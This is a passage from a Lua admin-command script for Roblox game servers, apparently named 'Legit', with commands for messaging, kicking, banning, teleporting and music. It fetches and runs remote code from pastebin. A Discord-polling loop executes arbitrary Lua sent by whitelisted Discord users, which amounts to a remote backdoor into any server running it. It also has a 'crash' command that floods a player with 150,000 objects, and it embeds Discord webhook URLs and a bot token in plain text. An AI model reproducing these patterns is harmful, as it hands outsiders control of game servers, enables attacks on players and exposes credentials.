- chatlegit("Loading IRC...") loadstring(game:GetService("HttpService"):GetAsync'https://pastebin.com/raw/XHw9ivrX')()
- end
- else
- chatlegit("IRC has already been loaded!")
- end
- end--]]
- function Chatted(t,o)
- if string.sub(t,1,3)=="/e "then
- t=string.sub(t,4)
- end
- end
- function AntiKill(player)
- local s=Children['Tools']["Anti-Kill"]:Clone()
- s.Parscrent=player.Backpack
- end
- function SearchAudio(e)
- local t = game:getService'HttpService';
- local e = "http://rbx.esy.es/apis/SearchMusic.php?param="..tostring(e);
- local e = t:GetAsync(e, true)
- repeat
- wait()
- until e
- local e = t:JSONDecode(e)
- return (e)
- end
- addcmd('ss','ss',6,1,function(speaker,args)
- dmp(speaker)
- if args[1]~=nil then
- local idz=args[1]
- local Songs = SearchAudio(idz)
- local i = 1
- repeat
- local SongName = Songs[i].Name
- local ID = Songs[i].AssetId
- local SongDesc = Songs[i].Description
- local Creator = Songs[i].Creator
- _tab(SongName,ps.color(speaker),speaker,function()
- dmp(speaker)--nice vanish xd
- _tab("Name: "..SongName, "Royal purple",speaker)
- _tab("Description: "..SongDesc, "Royal purple",speaker)
- _tab("Creator: "..Creator, "Royal purple",speaker)
- _tab("ID: "..ID, "Deep orange",speaker)
- _tab("Get Audio", "Deep orange",speaker, function() game:GetService("MarketplaceService"):PromptPurchase(speaker,ID)end)
- _tab("Play", "Lime green",speaker, function()
- for i, v in pairs(game:GetService('Workspace'):GetChildren()) do
- if v.ClassName == 'Sound' or v:IsA('Sound') then
- v.Looped = false
- v.PlayOnRemove = false
- v:Pause()
- v:Stop()
- v:remove()
- end
- end
- for i, v in pairs(game:GetService('SoundService'):GetChildren()) do
- if v.ClassName == 'Sound' or v:IsA('Sound') then
- v.Looped = false
- v.PlayOnRemove = false
- v:Pause()
- v:Stop()
- v:remove()
- end
- end
- for i, v in pairs(Children) do
- if v.ClassName == 'Sound' or v:IsA('Sound') then
- v.Looped = false
- v.PlayOnRemove = false
- v:Pause()
- v:Stop()
- v:remove()
- end
- end
- Sound = Instance.new("Sound")
- Sound.SoundId = "http://www.roblox.com/asset/?id="..ID
- Sound:Play()
- Sound.Parent = speaker.Character
- Sound.Volume = 1
- Sound.Looped = true
- Sound.Name = "MLGSND"
- end)
- end)
- wait()
- i = i + 1
- until i == 30 or i == #Songs
- end
- end,
- {"musicsearch","searchaudio","sa"})
- addcmd('stopmusic','stops music / args: deep',3,0,
- function(speaker,args)
- NoMusic()
- end,
- {'sm'})
- addcmd('net','Same thing as players;show connected players',0,0,
- function(speaker,args)
- dmp(speaker)
- for i,v in pairs(plrs:GetPlayers())do
- --local cl=rank[getrank(v.Name)]
- local cl=ps.color(v.Name)
- if cl==nil then cl='White'end
- --if speaker==v then cl=c.snd end
- _tab(v.Name,cl,speaker,function()
- if getrank(speaker)>getrank(v) and getrank(speaker)>3 or speaker==v then
- dmp(speaker)
- local plr=v
- plrmen(v,speaker,'net')
- end
- end)
- end
- end,
- {'plrs','players'})
- addcmd('cred','show Legit credits',0,0,
- function(speaker)
- dmp(speaker)
- print('MLG INSTANCE',tostring(ver))
- alert.c('Legit v'..ver,ps.color(speaker),speaker)
- alert.c('your rank: '..getrank(speaker),ps.color(speaker),speaker)
- _tab('say '..prefix..'cmds'..suffix..' to get your commands',ps.color(speaker),speaker,function()dmp(speaker)chat("cmds",speaker)end,'')
- alert.c('Created By CoolMLGPlayer, TheLuaDoge and PointCoded',ps.color(speaker),speaker)
- end,
- {'cred'})
- addcmd('dtall','dismiss all players tabs',4,0,
- function()
- for i,v in pairs(tabs)do
- dmp(i)
- end
- end,
- {'dismissall'})
- addcmd('save','saves the stuff',2e9,0,
- function(speaker)
- ds.save()
- alert.c('saved the stuff','Lime green',speaker)
- end)
- addcmd('stime','Startup time \nHow long it took the tabs to start',6,0,
- function(speaker)
- alert.c(startuptime .. ' miliseconds','Deep orange',speaker)
- end)
- addcmd('m','Message to the Server\nargs: text to display',3,1,
- function(speaker,args)
- if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
- for i=1,tonumber(args[1])do
- funcs.Msg(speaker.Name,args[2]or 'nil',5)
- end
- return
- elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
- local plr=_match(args[1],speaker)
- table.foreach(plr,function(k,v)
- funcs.Msg(speaker.Name,args[2]or 'nil',5)
- end)
- else
- funcs.Msg(speaker.Name,args[1]or 'nil',5)
- end
- end,
- {'message','mes'})
- addcmd('nl','runs a local script on a Player',1337,2,
- function(speaker,args)
- local fplr = _match(args[1],speaker)
- local sourcee = tostring(args[2])
- for _,v in pairs(fplr)do
- NewLocal(v,sourcee)
- end
- end)
- addcmd('crash','crashes someone',5,1,
- function(speaker,args)
- local fplr=_match(args[1],speaker)
- for _,v in pairs(fplr) do
- for i=1,150000 do
- local hb=Instance.new("HopperBin",v.Backpack)
- hb.Name="LegitHB"
- end
- end
- end)
- addcmd('sym','System Message to the Server\nargs: text to display',5,1,
- function(speaker,args)
- if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
- for i=1,tonumber(args[1])do
- funcs.Msg("Legit System Message",args[2]or 'nil',5)
- end
- return
- elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
- local plr=_match(args[1],speaker)
- table.foreach(plr,function(k,v)
- funcs.Msg("Legit System Message",args[2]or 'nil',5)
- end)
- else
- funcs.Msg("Legit System Message",args[1]or 'nil',5)
- end
- end,
- {'systemmessage','sysmes'})
- addcmd('pri','opens pri options',5,0,
- function(speaker,args)
- local sss='off'
- local pc=c.red
- if pri then sss='on';pc='Lime green' end
- dmp(speaker)
- _tab('pri is '..sss,pc,speaker)
- _tab((pri and '[DISABLE]') or '[ENABLE]',pri and 'Really red' or 'Lime green',speaker,function()
- dmp(speaker)
- pri=not pri
- if pri then
- for i,v in pairs(plrs:GetPlayers'')do
- if getrank(v.Name)<1 then Kick(v)end
- end
- end
- alert.c('pri was '..(pri and 'enabled' or 'disabled'),c.white,speaker)
- end)
- end)
- addcmd('cm','Chat Message in OxChat\nargs: text to display',6,1,
- function(speaker,args)
- if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
- for i=1,tonumber(args[1])do
- run("[Legit System]",args[2]or 'nil')
- end
- return
- elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
- local plr=_match(args[1],speaker)
- table.foreach(plr,function(k,v)
- run("[Legit System]",args[2]or 'nil')
- end)
- else
- run("[Legit System]",args[1]or 'nil')
- end
- end,
- {'chatmes','chatmessage'})
- addcmd('pcm','Player Chat Message in OxChat\nargs: text to display',5,1,
- function(speaker,args)
- if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
- for i=1,tonumber(args[1])do
- run("["..speaker.Name.."]",args[2]or 'nil')
- end
- return
- elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
- local plr=_match(args[1],speaker)
- table.foreach(plr,function(k,v)
- run("["..speaker.Name.."]",args[2]or 'nil')
- end)
- else
- run("["..speaker.Name.."]",args[1]or 'nil')
- end
- end,
- {'plrchatmes','playerchatmessage'})
- addcmd('fixlighting','Fixes lighting properties',3,0,
- function()
- local l=game:service'Lighting'
- l.Ambient=_rgb(178,178,178)
- l.Brightness=1
- l.Outlines=false
- l.TimeOfDay=14
- end,
- {'fixl'})
- promptvote=function(v,q)
- _tab(q,c.snd,v,'','',10)
- _tab('vote yes',c.green,v,function()dmp(v)vote.y=vote.y+1;alert.p('Vote counted',v)end,'',10)
- _tab('vote no','Really red',v,function()dmp(v)vote.n=vote.n+1;alert.p('Vote counted',v)end,'',10)
- _tab('no vote','White',v,function()dmp(v);end,'',10)
- end
- addcmd('vote','vote\nargs: plr/tp,(yn,k,b)',4,0,
- function(speaker,args)
- if args[1]~=nil and args[2]~=nil then
- q=args[1]
- vote.y=0;
- vote.n=0;
- local plr=nil
- if args[2]:lower()=='k'then
- plr=_plr(q)
- if plr~=nil then
- for i,v in pairs(plrs:getPlayers())do
- promptvote(v,'Vote: Kick '..plr.Name..'?')
- vote.topic='Kick '..plr.Name..'?'
- action='k'
- end
- end
- elseif args[2]:lower()=='b'then
- plr=_plr(q)
- if plr~=nil then
- for i,v in pairs(plrs:getPlayers())do
- promptvote(v,'Vote: Ban '..plr.Name..'?')
- vote.topic='Ban '..plr.Name..'?'
- action='b'
- end
- end
- elseif args[2]:lower()=='yn'then
- for i,v in pairs(plrs:getPlayers())do
- promptvote(v,'Vote: '..q)
- vote.topic=q
- end
- end
- end
- if args[1] ==nil then return end
- if inTable({'view','results','check'},args[1]:lower()) then
- delay(0,function()
- if vote.topic~='' then
- _dmtab(speaker)
- _tab('vote results',c.white,speaker)
- _tab('topic: '..vote.topic,'Bright blue',speaker)
- _tab('yes: '..vote.y,c.green,speaker)
- _tab('no: '..vote.n,'Really red',speaker)
- if 1+1==3 and vote.y>vote.n and inTable({'k','b'},action:lower())then
- _tab('vote succeeded. click here to execute.','New Yeller',speaker,
- function()
- dmp(speaker)
- local zz=action:lower()
- if zz=='k'then
- Kick(_plr(q))
- t.c('kicked player','Really red',speaker,4)
- elseif zz=='b'then
- setrank(v.Name,-1)
- Kick(v)
- t.c('banned player','Really red',speaker,4)
- end;
- end)
- end
- end
- end)
- end
- end,
- {'poll','ballot'})
- addcmd('disabletabs','disables tabs',1337,0,
- function(speaker,args)
- _tab('click to confirm',c.purple,speaker,
- function()
- alert.p('saved all libraries',speaker)
- alert.p('starting to disable tabs in 5.4 seconds',speaker)
- delay(6,disabletabs)
- end,'dmself',3)
- end,
- {'stop'})
- addcmd('update','updates instance of tabs',1337,0,
- function(speaker,args)
- update=true
- alert.p('updating',speaker)
- delay(1,disabletabs)
- end)
- addcmd('shutdown','kills game',1337,0,
- function(speaker,args)
- x=tostring(args[1])
- for i,v in pairs(plrs:GetPlayers'')do
- v:Kick(x)
- end
- end)
- addcmd('injects','a list of injects',4,0,
- function(speaker,args)
- dmp(speaker)
- for _,v in pairs(Children.Injects:GetChildren()) do
- if v:IsA("Folder") then
- if #v:GetChildren() > 0 then
- _tab(v.Name,'Deep orange',speaker,function()
- dmp(speaker)
- for _,av in pairs(v:GetChildren()) do
- _tab(av.Name,'Cyan',speaker,function()
- av:Clone().Parent=speaker.Backpack
- dmp(speaker)
- _tab('Succesfully injected '..av.Name,'Lime green',speaker,function() dmp(speaker) end)
- SendChat.MessageToPlayer(speaker,'Succesfully injected '..av.Name,'Lime green','Size24','SourceSansLight')
- cb("Legit",speaker.Name..' injected '..av.Name)
- end)
- end
- end)
- end
- end
- end
- end,{'injs'})
- addcmd('insert','insert menu',6,0,function(speaker,args)
- insertmenu(speaker)
- end)
- addcmd('inject','usage: [plr] [inject]',4,2,function(speaker,args)
- if args[1] ~="" and args[2]~="" then
- local fplr=_match(args[1],speaker)
- for _,v in pairs(fplr) do
- for _,va in pairs(Children.Injects:GetChildren()) do
- if va:IsA("Folder") then
- if #va:GetChildren() > 0 then
- for _,av in pairs(va:GetChildren()) do
- if av.Name == args[2] then
- av:Clone().Parent=v.Backpack
- _tab('Succesfully injected '..av.Name,'Lime green',speaker,function() dmp(speaker) end)
- end
- end
- end
- end
- end
- end
- else
- _tab('Error','Lime green',speaker,function() dmp(speaker) end)
- end
- end,{'inj'})
- addcmd('deepclean','cleans deep',3,0,function(speaker,args)
- deepclean()
- end)
- addcmd('orb','Runs orb',0,0,
- function(speaker,args)
- chatlegit("Loading Orb...")
- Orb()
- end)
- --[[addcmd('irc','runs irc',0,0,
- function(speaker,args)
- IRCcmd(speaker)
- end)--]]
- addcmd('teleport','tps a player to a plr',4,2,
- function(speaker,args)
- local plr = _match(args[1],speaker)
- local plr2 = _match(args[2],speaker)
- pcall(function()
- plr.Character.Torso.Position = plr2.Character.Torso.Position
- end)
- end)
- --Discordhook=require(script.Needed.DiscordHook)
- local devs = {
- "PointCoded",
- "TheLuaDoge",
- "CoolMLGPlayer",
- "Reloxz",
- }
- Banned={}
- whitelist=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/KXbQntm6'))()--]]
- privateserver=function(plr)
- local TS = game:GetService("TeleportService")
- if psacode == nil then
- psacode = TS:ReserveServer(game.PlaceId)
- end
- local code = psacode
- TS:TeleportToPrivateServer(game.PlaceId,code,plr)
- end
- Fire = function(person, color)
- local pos = person.Character.Torso.Position
- for _, v in pairs(person.Character:GetChildren()) do
- if v:IsA'Part' and v.Name ~= "HumanoidRootPart" then
- if v.Name ~= "Head" then
- for i = 0, 10, 1 do
- local part = Instance.new("Part", person.Character)
- part.Name = "Burnt:"..v.Name
- local l = Instance.new("PointLight", part)
- l.Brightness = 5
- l.Range = 5
- part.FormFactor = "Custom"
- part.Size = Vector3.new(v.Size.X + .2, v.Size.Y / 10, v.Size.Z + .2)
- part.CanCollide = false
- part.Transparency = .5
- if _ % 2 == 0 then
- if i % 2 == 0 then
- part.BrickColor = BrickColor.new(color)
- else
- part.BrickColor = BrickColor.new("Really black")
- end
- else
- if i % 2 == 0 then
- part.BrickColor = BrickColor.new("Really black")
- else
- part.BrickColor = BrickColor.new(color)
- end
- end
- part.Material = Enum.Material.Neon
- l.Color = part.Color
- part.TopSurface = "Smooth"
- part.BottomSurface = "Smooth"
- local w = Instance.new("Weld")
- w.Part1 = v
- w.Part0 = part
- w.C1 = CFrame.new(0, (1 - v.Size.Y / 10 * i), 0)
- w.Parent = person.Character.Torso
- w.Name = v.Name
- v.Touched:connect(function(hit)
- if hit.Parent.Name ~= person.Name then
- local hum = hit.Parent:findFirstChild("Humanoid")
- if hum then
- for a, d in pairs(hit.Parent:GetChildren()) do
- if d:IsA'Part' and d.Name ~= "HumanoidRootPart" then
- d.BrickColor = BrickColor.new("Really black")
- d.Material = "CorrodedMetal"
- d.Transparency = 0
- elseif d.Name == "HumanoidRootPart" then
- d:ClearAllChildren()
- elseif
- d:IsA'Shirt' or d:IsA'Pants' or d:IsA'Hat' or d:IsA'BodyColors' then
- d:Destroy()
- end
- end
- end
- end
- end)
- end
- --v.Anchored=true
- elseif v.Name == "Head" then
- local fire = Instance.new("Fire", v)
- fire.SecondaryColor = Color3.new(1, 0, 0)
- v.Material = Enum.Material.Neon
- v.BrickColor = BrickColor.new(color)
- v.Transparency = .5
- pcall(function()
- v.face.Transparency = 1
- local decal = Instance.new('Decal', v)
- decal.Face = "Front"
- decal.Texture = "http://www.roblox.com/asset/?id=209712379"
- end)
- end
- elseif v:IsA'Hat' then
- v.Handle.Material = Enum.Material.Neon
- v.Handle.Mesh.TextureId = ""
- v.Handle.BrickColor = BrickColor.new(color)
- v.Handle.Transparency = .5
- end
- end
- person.Character:MoveTo(pos)
- end
- function GetPlayer(msg,Reason)
- local FoundPlayers = {}
- local find
- if Reason == true then
- ypcall(function()
- find = string.find(msg,";")
- msg = string.sub(msg,1,find-1)
- end)
- end
- if msg == "all" or msg == "everyone" then
- for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
- table.insert(FoundPlayers,Plr)
- end
- elseif msg == "devs" or msg == "developers" then
- for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
- for i,v in pairs(devs) do
- if Plr.Name == v then
- table.insert(FoundPlayers,Plr)
- end
- end
- end
- elseif msg == "noobs" or msg == "nubs" then
- for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
- if Plr.AccountAge < 364 and Plr.Name ~= "PointCoded" then
- table.insert(FoundPlayers,Plr)
- end
- end
- elseif msg == "veterans" or msg == "elders" then
- for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
- if Plr.AccountAge >= 364 then
- table.insert(FoundPlayers,Plr)
- end
- end
- else
- local Z = false
- for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
- local N = string.lower(Plr.Name)
- msg = string.lower(msg)
- if string.match(N,msg) then
- if Z == false then
- Z = true
- table.insert(FoundPlayers,Plr)
- end
- end
- end
- end
- return FoundPlayers
- end
- local _M={}
- discordserver=tonumber(math.random(10,78)).."."..tonumber(math.random(100,168))..".1."..tonumber(math.random(10,68))
- _M.webhook="https://discordapp.com/api/webhooks/312257976528404480/ctURnO0WCOr1XxE8ajecVLyu2IHz7G0QSikBi4mQf6qedQceDbmtlabQV4xhOm8TsxgK"
- _M.linkhook="https://discordapp.com/api/webhooks/314827621877940226/l35XEmE7Kg-cxea2gJZhVMbxWPxBVrAZD1CTbnxNnA6_GU0RB3Qo_sRJulUKkbf9jne8"
- --[[_M.generalweb="https://discordapp.com/api/webhooks/307852012635029504/5MIwLVcDxVbIzmRkGNmCcyyiDxGZQhEoWlMG1_5RiDtSRmx7s3qoFDmPJk1UEPazYgOw"
- _M.spamweb="https://discordapp.com/api/webhooks/312630691601055745/TY6TSTLrWoRO--p8GtK5ZMNRDZDn19vCJg4L_ttvgDkNnUItXCwDekCAVWvojt9hU7g7"
- --]]_M.announceweb="https://discordapp.com/api/webhooks/312630691601055745/TY6TSTLrWoRO--p8GtK5ZMNRDZDn19vCJg4L_ttvgDkNnUItXCwDekCAVWvojt9hU7g7"
- --[[_M.otherweb="https://discordapp.com/api/webhooks/308282775083941888/fUQ13KXhGsZLpqYf8K5QjjeZHUEFNd4uaH_zdG5ZOMWSaG4mKHMGTOHeTEzFA07GzHgm"
- --]]function _M.SendDiscordMessage(plraa,msg,avatar)
- local msgg = {
- ["content"] = msg,
- ["username"] = plraa,
- ["avatar_url"] = avatar
- }
- local wc = game:GetService("HttpService")
- local jsonmsg = wc:JSONEncode(msgg)
- wc:PostAsync(_M.webhook, jsonmsg)
- end
- function _M.SendLogMessage(plraa,msg,avatar)
- local msgg = {
- ["content"] = msg,
- ["username"] = plraa,
- ["avatar_url"] = avatar
- }
- local wc = game:GetService("HttpService")
- local jsonmsg = wc:JSONEncode(msgg)
- wc:PostAsync(_M.linkhook, jsonmsg)
- end
- function _M.announce(msg)
- local msgg = {
- ["content"] = msg,
- ["username"] = "Legit In-Game Announcement",
- ["avatar_url"] = "https://cdn.discordapp.com/avatars/304913475803676674/ed0827639cf177c90b2027fea3510ce4.png?size=2048"
- }
- local wc = game:GetService("HttpService")
- local jsonmsg = wc:JSONEncode(msgg)
- wc:PostAsync(_M.announceweb, jsonmsg)
- end
- --[[
- function _M.other(name,msg,img)
- local msgg = {
- ["content"] = msg,
- ["username"] = name,
- ["avatar_url"] = img
- }
- local wc = game:GetService("HttpService")
- local jsonmsg = wc:JSONEncode(msgg)
- wc:PostAsync(_M.otherweb, jsonmsg)
- end
- function _M.GeneralMessage(plraa,msg,avatar)
- local msgg = {
- ["content"] = msg,
- ["username"] = plraa,
- ["avatar_url"] = avatar
- }
- local wc = game:GetService("HttpService")
- local jsonmsg = wc:JSONEncode(msgg)
- wc:PostAsync(_M.generalweb, jsonmsg)
- end
- function _M.Spam(plraa,msg,avatar)
- local msgg = {
- ["content"] = msg,
- ["username"] = plraa,
- ["avatar_url"] = avatar
- }
- local wc = game:GetService("HttpService")
- local jsonmsg = wc:JSONEncode(msgg)
- wc:PostAsync(_M.spamweb, jsonmsg)
- end--]]
- SDM = function(plraa,msg,avatar)
- _M.SendDiscordMessage(plraa,msg,avatar)
- end
- SLM = function(plraa,msg,avatar)
- _M.SendLogMessage(plraa,msg,avatar)
- end
- announce = function(text)
- _M.announce(text)
- end
- function ForceChat(plr,msg)
- FChat.ForceChat(plr,msg)
- OxChat(plr.Name,msg)
- if getrank(plr.Name) then
- discordchat(plr.Name.." [Rank: "..getrank(plr.Name).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- else
- discordchat(plr.Name,msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
- end
- end
- --return _M
- --PointCoded was here. I made the discord to roblox connection. CoolMLGPlayer, by removing this line, you breach the contract. By breaking the contract and by me finding proof, I will unfriend you, ban you on a shit tone of admins including prismane and exile as well as disable legit from running in servers which are running my script.
- _M.Connection = {} -- making a new directory inside _M so i dont have to change all ur shit
- local Connection = _M.Connection
- local Http = game:GetService("HttpService")
- Connection.Base = "https://canary.discordapp.com/"
- Connection.Hooks = {
- webhook = Connection.Base.."api/webhooks/312257976528404480/ctURnO0WCOr1XxE8ajecVLyu2IHz7G0QSikBi4mQf6qedQceDbmtlabQV4xhOm8TsxgK",
- --[[generalhook = Connection.Base.."api/webhooks/307852012635029504/5MIwLVcDxVbIzmRkGNmCcyyiDxGZQhEoWlMG1_5RiDtSRmx7s3qoFDmPJk1UEPazYgOw",
- spamweb = Connection.Base.."api/webhooks/307855497070116864/_iHFwHJZvxKHvAfD76v6_lnE7EFVNlnfPCFu464Ze8NxIb9axik7Oo4ZsXukaxmvO6_2"
- --]]}
- Connection.GuildId = "312257789655515137"
- Connection.Channels = {
- robloxlogs = "312257923977838594",
- }
- Connection.Headers = {
- authorization = "Bot MzA0OTEzNDc1ODAzNjc2Njc0.C-omlA.ZpGXW_LLd93OU6le-L4YUZoXNXw", -- this wont work until discord authorize the bot
- }
- Connection.Received = function(Data)
- ypcall(function()
- spawn(function()
- local Messages = {}
- while wait(1) do -- it checks for messages every 1 second. Decreasing this number will clog up the http service so it is not reccomended.
- for i,Channel in pairs(Connection.Channels) do
- local GetData = Http:GetAsync(Connection.Base.."api/v6/channels/"..Connection.Channels[i].."/messages", false, Connection.Headers)
- local Decode = Http:JSONDecode(GetData)
- if Messages[1] ~= Decode[1].timestamp then
- table.insert(Messages, 1, Decode[1].timestamp)
- Data(Decode[1], i)
- end
- end
- end
- end)
- end)
- end
- Connection.Received(function(Data, Channel)
- ypcall(function()-- if the person who sent the message is not a bot
- if not Data['webhook_id']then
- local Author = Data.author
- local Message = Data.content
- local Username = Author.username
- local Tag = Author.discriminator
- local Id = Author.id
- if string.sub(Message,1,5) ~= "sexe;" and string.sub(Message,1,3) ~= "fc;" and string.sub(Message,1,6) ~= "esexe;" then
- if Tag ~= "8432" and Tag ~= "5314" then
- cb("Legit Discord","["..Username.."]: "..Message)
- elseif Tag == "8432" then
- cb("CoolMLGDiscord",Message)
- elseif Tag == "5314" then
- cb("AzureDiscord",Message)
- end
- end
- --SendChat.MessageAll("[Legit Discord] ["..Username.."]: "..Message,BrickColor.new("Lime green").Color,"Size24","SciFi")
- --if Id == "3505" or Id == "8432" or Id == "6782" or Id == "3293" then
- --[[if string.sub(Message,1,3) == "exe;" then
- local ToExe = string.sub(Message,5)
- local execute = loadstring(ToExe)
- local Run,Error = ypcall(function()
- execute()
- end)--]]
- if ircwhitelist[Tag]then
- if string.sub(Message,1,5) == "sexe;" then
- if ircwhitelist[Tag].Level == 3 then
- ToExe11=string.sub(Message,6)
- local omgx=nil
- local success,error=ypcall(function()omgx={loadstring(ToExe11)}end)
- local func,err=unpack(omgx);
- if success then
- print(func())
- SDM("Legit","Script ran successfully",nil)
- else
- SDM("Legit",err,nil)
- end
- end
- elseif string.sub(Message,1,6) == "esexe;" then
- if Id == "184329989833883648" then
- ToExe111=string.sub(Message,7)
- local omgxx=nil
- local success,error=ypcall(function()omgxx={loadstring(ToExe111)}end)
- local func,err=unpack(omgxx);
- if success then
- print(func())
- SDM("Legit","Script ran successfully",nil)
- else
- SDM("Legit",err,nil)
- end
- end
- elseif string.sub(Message,1,4) == "exe;" then
- if ircwhitelist[Tag].Level == 3 then
- local ToExe = string.sub(Message,5)
- local x=nil
- local success,errorr=ypcall(function()x={loadstring(ToExe)}end)
- local func,err=unpack(x);
- if success then
- print(func())
- SDM('Legit','Script ran successfully',nil)SDM("Legit",err,nil)
- elseif not success then
- SDM("Legit Error",errorr,nil)
- end
- end
- elseif string.sub(Message,1,5) == "eexe;" then
- if Id == "184329989833883648" then
- local ToExe112 = string.sub(Message,6)
- local xmlg=nil
- local success,errorr=ypcall(function()xmlg={loadstring(ToExe112)}end)
- local func,err=unpack(xmlg);
- if success then
- print(func())
- SDM('Legit','Script ran successfully',nil)SDM("Legit",errorr,nil)
- elseif not success then
- SDM("Legit Error",errorr,nil)
- end
- end
- --[[local ToExe = string.sub(Message,5)
- local execute = loadstring(ToExe)
- local Run,Error = ypcall(function()
- execute()
- end)--]]
- elseif string.sub(Message,1,9) == "shutdown;" then
- if ircwhitelist[Tag].Level == 3 or ircwhitelist[Tag].Level == 2 then
- local msg=string.sub(Message,10)
- for i,Player in pairs(game:service'Players':GetPlayers()) do
- Player:Kick("[Legit]: "..msg)
- end
- end
- elseif string.sub(Message,1,5) == "kill;" then
- if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg=string.sub(Message,6)
- local Players=GetPlayer(msg,true)
- for i,Player in pairs(Players) do
- Player.Character:BreakJoints()
- SDM("Legit","Killed "..Player.Name,nil)
- end
- end
- elseif string.sub(Message,1,3) == "ps;" then
- if ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg=string.sub(Message,4)
- local Players=GetPlayer(msg,true)
- for i,Player in pairs(Players) do
- privateserver(Player)
- SDM("Legit","Teleported "..Player.Name.." to a private server",nil)
- end
- end
- elseif string.sub(Message,1,8) == "respawn;" then
- if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg=string.sub(Message,9)
- local Players=GetPlayer(msg,true)
- for i,Player in pairs(Players) do
- Player:LoadCharacter()
- SDM("Legit","Respawned "..Player.Name,nil)
- end
- end
- elseif string.sub(Message,1,6) == "unchar;" then
- if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg=string.sub(Message,7)
- local Players=GetPlayer(msg,true)
- for i,Player in pairs(Players) do
- Player.CharacterAppearanceId=Player.UserId
- Player:LoadCharacter()
- SDM("Legit","Uncharred"..Player.Name,nil)
- end
- end
- elseif string.sub(Message,1,5) == "fire;" then
- if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg = string.sub(Message,6)
- local Players = GetPlayer(msg,true)
- local Reason = string.find(msg,";")
- Reason = string.sub(msg,Reason + 1)
- for i,Player in pairs(Players) do
- Fire(Player,Reason)
- end
- end
- elseif string.sub(Message,1,3) == "fc;" then
- if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg = string.sub(Message,4)
- local Players = GetPlayer(msg,true)
- local Reason = string.find(msg,";")
- Reason = string.sub(msg,Reason + 1)
- for i,Player in pairs(Players) do
- ForceChat(Player,Reason)
- end
- end
- elseif string.sub(Message,1,6) == "sbexe;" then
- if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg = string.sub(Message,7)
- local Players = GetPlayer(msg,true)
- local Reason = string.find(msg,";")
- Reason = string.sub(msg,Reason + 1)
- for i,Player in pairs(Players) do
- sbexe(Reason,Player)
- end
- end
- elseif string.sub(Message,1,5) == "char;" then
- if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
- local msg = string.sub(Message,6)
- local Players = GetPlayer(msg,true)
- local Reason = string.find(msg,";")
- Reason = string.sub(msg,Reason + 1)
- for i,Player in pairs(Players) do
- if tostring(Reason) then
- Player.CharacterAppearanceId=game.Players:GetUserIdFromNameAsync(Reason)
- elseif tonumber(Reason) then
- Player.CharacterAppearanceId=Reason
- end
- Player:LoadCharacter()
- SDM("Legit","Charred "..Player.Name.." as "..game.Players:GetNameFromUserIdAsync(Player.CharacterAppearanceId),nil)
- end
- end
- elseif string.sub(Message,1,4) == "ban;" then
- if ircwhitelist[Tag].Level == 3 then
- local msg = string.sub(Message,5)
- local Players = GetPlayer(msg,true)
- local Reason = string.find(msg,";")
- Reason = string.sub(msg,Reason + 1)
- local Duration = string.find(Reason,";")
- Duration = string.sub(Reason,Duration + 1)
- for i,plyr in pairs(Players) do
- banList[tostring(plyr.UserId)] = {Name=plyr.Name, BannedBy=Username, Reason=Reason, Timestamp=os.time(), Duration=Duration}
- banStore:SetAsync(banKey, banList);
- plyr:Kick(Reason)
- SDM("Legit","Banned "..plyr.Name.." for "..Reason,nil)
- end
- end
- elseif string.sub(Message,1,10) == "remoteban;" then
- if ircwhitelist[Tag].Level == 3 then
- local msg = string.sub(Message,11)
- local Player = msg
- local Reason = string.find(msg,";")
- Reason = string.sub(msg,Reason + 1)
- local Duration = string.find(Reason,";")
- Duration = string.sub(Reason,Duration + 1)
- local success, userId = pcall(function() return game:service'Players':GetUserIdFromNameAsync(Player); end);
- if (not success) then
- return SDM("Legit","Error player not found",nil);
- end
- banList[tostring(userId)] = {Name=Player, BannedBy=Username, Reason=Reason, Timestamp=os.time(), Duration=Duration}
- banStore:SetAsync(banKey, banList);
- SDM("Legit","Banned "..Player.." for "..Reason,nil)
- end
- elseif Message == "banned;" then
- if ircwhitelist[Tag].Level == 3 then
- for userId, data in pairs(banList) do
- local name, bannedBy, reason, timestamp, duration = data.Name, data.BannedBy, data.Reason, data.Timestamp, data.Duration;
- local timeLeftInDays = duration-math.floor((os.time()-timestamp)/86400);
- if (timeLeftInDays > 0) then
- SDM("Legit",name.." - Banned by: "..bannedBy.." - Days left: "..timeLeftInDays.." - Reason: "..reason,nil);
- else
- banList[userId] = nil;
- end
- end
- end
- elseif string.sub(Message,1,6) == "unban;" then
- if ircwhitelist[Tag].Level == 3 then
- local msg = string.sub(Message,7)
- local plr = msg
- for userId, data in pairs(banList) do
- if (string.find(string.lower(data.Name),string.lower(plr),1,true) == 1) then
